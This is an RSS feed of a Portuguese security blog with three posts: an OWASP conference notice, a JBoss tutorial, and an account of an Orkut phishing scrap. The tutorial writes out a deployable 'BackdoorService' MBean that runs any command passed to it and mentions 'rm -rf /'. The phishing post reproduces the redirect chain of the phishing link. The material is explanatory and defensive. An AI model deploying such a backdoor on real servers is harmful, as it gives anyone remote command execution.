<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rafael Liu Blog &#187; segurança</title>
	<atom:link href="http://rafaelliu.net/category/seguranca/feed/" rel="self" type="application/rss+xml" />
	<link>http://rafaelliu.net</link>
	<description>Café, pinguins e outras coisas</description>
	<lastBuildDate>Mon, 05 Dec 2011 19:08:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
		<item>
		<title>Conferência Internacional de Segurança de Aplicações (AppSec Brasil 2009)</title>
		<link>http://rafaelliu.net/2009/10/22/conferencia-internacional-de-seguranca-de-aplicacoes-appsec-brasil-2009/</link>
		<comments>http://rafaelliu.net/2009/10/22/conferencia-internacional-de-seguranca-de-aplicacoes-appsec-brasil-2009/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 11:07:47 +0000</pubDate>
		<dc:creator>rafaelliu</dc:creator>
				<category><![CDATA[Evento]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[OWASP]]></category>

		<guid isPermaLink="false">http://rafaelliu.net/?p=231</guid>
		<description><![CDATA[Acontecerá nos dias de 27 a 30 de outubro: A comunidade Comunidade TI-Controle e o Centro de Informática da Câmara dos Deputados apresentam a Conferência Internacional de Segurança de Aplicações, que será realizada com o apoio do OWASP (Open Web Application Security Project) em Brasília, capital do Brasil. A conferência consistirá de dois dias de [...]]]></description>
			<content:encoded><![CDATA[<p>Acontecerá nos dias de 27 a 30 de outubro:</p>
<blockquote><p>A comunidade Comunidade TI-Controle e o Centro de Informática da Câmara dos Deputados apresentam a Conferência Internacional de Segurança de Aplicações, que será realizada com o apoio do OWASP (Open Web Application Security Project) em Brasília, capital do Brasil. A conferência consistirá de dois dias de treinamentos, seguidos de dois dias de plenárias em trilha única.</p></blockquote>
<p>Mais informações: <a title="AppSec Brasil 2009" href="http://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)" target="_blank">AppSec Brasil 2009</a></p>
]]></content:encoded>
			<wfw:commentRss>http://rafaelliu.net/2009/10/22/conferencia-internacional-de-seguranca-de-aplicacoes-appsec-brasil-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Criando um MBean no JBoss</title>
		<link>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/</link>
		<comments>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 18:55:36 +0000</pubDate>
		<dc:creator>rafaelliu</dc:creator>
				<category><![CDATA[JBoss]]></category>
		<category><![CDATA[arquitetura]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[jmx]]></category>
		<category><![CDATA[mbean]]></category>
		<category><![CDATA[microkernel]]></category>

		<guid isPermaLink="false">http://rafaelliu.net/?p=186</guid>
		<description><![CDATA[﻿A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss. MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean [...]]]></description>
			<content:encoded><![CDATA[<p>﻿A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss.</p>
<p>MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean que lhe servirá de <em>facade</em>, e fazer o deploy desse MBean no JBoss para expôr esse serviço. Para tanto basta o criar um arquivos <code>SAR</code> ou <code>*-service.xml</code> e fazer seu deploy.</p>
<p>Nesse post vamos criar MBean de exemplo. O exemplo é constituído de 3 coisas:</p>
<ol>
<li>Um arquivo <code>META-INF/jboss-service.xml</code> com a descrição do MBean</li>
<li>Uma interface <code>BackdoorServiceMBean</code></li>
<li>Uma classe <code>BackdoorService</code></li>
</ol>
<p>Tudo isso compilado em um <a href="http://rafaelliu.net/wp-content/uploads/2009/08/backdoorService.sar">backdoorService.sar</a> na seguinte estrutura:</p>
<p style="text-align: center;"><img class="size-medium wp-image-194 aligncenter" title="sar" src="http://rafaelliu.net/wp-content/uploads/2009/08/sar-300x165.png" alt="sar" width="300" height="165" /></p>
<p>A interface deve estende <code>ServiceMBean</code> (classe do JBoss) e seu nome deve terminar em MBean. Ela irá expor as propriedades e operações:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">interface</span> BackdoorServiceMBean <span style="color: #000000; font-weight: bold;">extends</span> org.<span style="color: #006633;">jboss</span>.<span style="color: #006633;">system</span>.<span style="color: #006633;">ServiceMBean</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> execute<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> command<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> printAbout<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getURL<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setURL<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> url<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>No exemplo são declaradas duas operações, <code>execute(String)</code> e <code>printAbout()</code>, e uma propriedade, <code>URL</code>.</p>
<p>Já a classe deve estende <code>ServiceMBeanSupport</code> (classe do JBoss) e implementar nossa interface <code>BackdoorServiceMBean</code>. Seu nome deve ser o mesmo da interface sem a terminação &#8220;MBean&#8221;.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> BackdoorService <span style="color: #000000; font-weight: bold;">extends</span> org.<span style="color: #006633;">jboss</span>.<span style="color: #006633;">system</span>.<span style="color: #006633;">ServiceMBeanSupport</span> <span style="color: #000000; font-weight: bold;">implements</span> BackdoorServiceMBean <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> url<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> execute<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> comando<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> buf <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">int</span> len<span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003399;">Process</span> proc <span style="color: #339933;">=</span> <span style="color: #003399;">Runtime</span>.<span style="color: #006633;">getRuntime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">exec</span><span style="color: #009900;">&#40;</span>comando<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>len <span style="color: #339933;">=</span> proc.<span style="color: #006633;">getInputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				out.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>buf, <span style="color: #cc66cc;">0</span>, len<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">IOException</span> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			e.<span style="color: #006633;">printStackTrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">return</span> out.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> printAbout<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #0000ff;">&quot;Visit &quot;</span> <span style="color: #339933;">+</span> url <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;!&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getURL<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">return</span> url<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setURL<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> url<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">url</span> <span style="color: #339933;">=</span> url<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Por último o arquivo <code>META-INF/jboss-service.xml</code> onde deve constar o nome qualificado da classe MBean e o nome que identificará o MBean (por convenção é da forma <code>&lt;domínio&gt;:&lt;lista de atributos&gt;</code>). Pode-se também definir dependências com outros MBeans ou inicializar propriedades:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;server<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;mbean</span> <span style="color: #000066;">code</span>=<span style="color: #ff0000;">&quot;net.rafaelliu.BackdoorService&quot;</span></span>
<span style="color: #009900;">           <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;rafaelliu:service=BackdoorService&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;attribute</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;URL&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>http://rafaelliu.net<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/attribute<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/mbean<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/server<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<p>Testando nosso MBean, entramos em http://localhost:8080/jmx-console. Lá em baixo temos uma nova entrada:</p>
<p style="text-align: center;"><img class="size-medium wp-image-189 aligncenter" title="jmx-console" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-console-300x189.png" alt="jmx-console" width="300" height="189" /></p>
<p>Clicando no MBean, vemos a operação que definimos na interface. Vamos chamá-la com o argumento <code>ls /</code>:</p>
<p style="text-align: center;"><img class="size-medium wp-image-190 aligncenter" title="jmx-invoke" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-invoke-300x189.png" alt="jmx-invoke" width="300" height="189" /></p>
<p>Com isso temos o retorno:</p>
<p style="text-align: center;"><img class="size-medium wp-image-191 aligncenter" title="jmx-resultado" src="http://rafaelliu.net/wp-content/uploads/2009/08/jmx-resultado-300x220.png" alt="jmx-resultado" width="300" height="220" /></p>
<p>Fácil, ahm?</p>
<h2>Moral da história</h2>
<p>Para quem nem o código Java nem o nome do serviço foi esclarecedor o suficiente, esse exemplo deve ter ajudado. É um MBean que executa qualquer comando que lhe seja passado como argumento.</p>
<p>Mas pera ai, posso executar qualquer comando mesmo? Até um <code>rm -rf /</code>? Sim. O detalhe é que o comando será executado com o mesmo usuário do JBoss (política de subprocessos do Linux), ou seja, a menos que o JBoss esteja sendo rodado como root, <code>rm -rf /</code> deverá resultar em erro de falta de privilégios.</p>
<p>Agora deve estar bem claro que é uma boa prática definir um usuário jboss com privilégios limitados para executar o processo do JBoss. É claro que um MBean desses não deve nunca ser posto em produção, mas bugs que permitam a execução arbitrária de código são uma realidade.</p>
<p>NOTAS:</p>
<ul>
<li>a versão utilizada foi a JBoss 4.2.3.GA</li>
<li>nas versões mais recentes substituído pelo JBoss Microcontainer que além de JMX faz deploy de POJO e OSGi</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://rafaelliu.net/2009/08/20/criando-um-mbean-no-jboss/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Phishing do Orkut</title>
		<link>http://rafaelliu.net/2009/03/30/106/</link>
		<comments>http://rafaelliu.net/2009/03/30/106/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 13:36:21 +0000</pubDate>
		<dc:creator>rafaelliu</dc:creator>
				<category><![CDATA[segurança]]></category>
		<category><![CDATA[phishing]]></category>

		<guid isPermaLink="false">http://rafaelliu.net/?p=106</guid>
		<description><![CDATA[Acabei de receber um scrap de uma amiga com com o seguinte conteúdo: add esse aki http://www.orkut.com.br/Main#Profile.aspx?uid=81020294310883490 A autora era minha amiga mesmo, o host do email era realmente do orkut, o scrap realmente estava no meu scrapbook. Quando cliquei no link, abriu a tela de login do Orkut. Digitei usuário e senha, dei Enter [...]]]></description>
			<content:encoded><![CDATA[<p>Acabei de receber um scrap de uma amiga com com o seguinte conteúdo:</p>
<blockquote><p>add esse aki<br />
<a href="http://www.nytimes.com/adx/bin/adx_click.html?type=goto&amp;page=homepage.nytimes.com/index.html&amp;pos=TopRight&amp;sn2=361d9a2f/d5c54928&amp;sn1=fdb4b456/52e57b8e&amp;camp=Air_France_860074-nyt4&amp;ad=Pair_C_right&amp;goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fclk%3B210557104%3B32229481%3Bv%3Fhttp%3A%2F%2F0rkvlservicelogins.freehostia.com" target="_blank">http://www.orkut.com.br/Main#Profile.aspx?uid=81020294310883490</a></p></blockquote>
<p>A autora era minha amiga mesmo, o host do email era realmente do orkut, o scrap realmente estava no meu scrapbook. Quando cliquei no link, abriu a tela de login do Orkut. Digitei usuário e senha, dei Enter e ai caiu numa página de erro. Foi só ai olhei o endereço, que estava:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://0rkvlservicelogins.freehostia.com/Main-Community-aspx-cmm-8348041.html</pre></div></div>

<p>Droga! Phishing! Entrei logo a conta do Google e mudei minha senha. Já entrei em contato com a freehostia que está hospedando esse site, espero que eles venham a bloquear o banco de dados dele antes que ele venha a resgatar as senhas.</p>
<p>Pensando em como isso poderia ter vindo a ocorrer só me veio uma coisa à cabeça: os Applications. Vendo no profile da minha amiga vi uma aplicação estranha:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Chat Alegria - Salas de Bate Papo</pre></div></div>

<p>Isso me fez pensar algumas coisas em relação a segurança:</p>
<ol>
<li><strong>Sobre a Web 2.0</strong>. Quando abrimos espaço para usuários criarem conteúdo nos portais estamos abrindo uma grande brecha na segurança: emprestamos o nome do portal junto com toda sua credibilidade para qualquer usuário usar. Esse caso específico (em que o usuário pôs um link com o conteúdo diferente de seu href para direcionar o atacado a outro domínio) foi endereçado pela Wiki pondo-se um simples simbolozinho do lado de links apontando para domínios externos. Isso é uma forma da Wiki lavar as mãos e consequentemente fazer o usuário ficar mais medroso (leia-se atento).</li>
<li><strong>Sistemas de SSO</strong>. Uso a conta do Google para várias coisas: blog, feed reader, calendário, documentos e email e tenho muita coisa importante, se de algum lado minha senha vazar pode ir tudo pro espaço. Um sistema de SSO deveria ter mecanismos de contenção de danos. Talvez identificação de padrões de uso, identificação de ações típicas de ataques ou simplesmente (e o Google não faz!!) verificar se a conta do usuário já possui sessão aberta, e possisvelmente combinações desses mecanismos.</li>
<li><strong>Padronização</strong>. Os applications do Orkut são construidos com a API OpenSocial que é uma tentativa da Google de criar uma interface comum para desenvolvimento de aplicações para redes sociais. Padronizações são importantes acontecem em todas as áreas de TI, mas geram também esse outro lado. A partir do momento que um padrão se difunde, uma aplicação que venha a ser construida com fins maléficos tem seu impacto maximizado através de todos os aderentes ao padrão.</li>
</ol>
<p></br><br />
Cuidado a todos!</p>
<p>EDIT:</p>
<p>O freehostia já me respondeu:</p>
<blockquote><p>Hello,</p>
<p>We have suspended the reported account immediately. Thank you for the assistance.</p>
<p>Best Regards,<br />
Miles<br />
<a href="mailto:support@freehostia.com" target="_blank">support@freehostia.com</a><br />
<a href="http://www.freehostia.com/" target="_blank">http://www.freehostia.com</a></p></blockquote>
<p>Wow! Que rápido!!</p>
]]></content:encoded>
			<wfw:commentRss>http://rafaelliu.net/2009/03/30/106/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

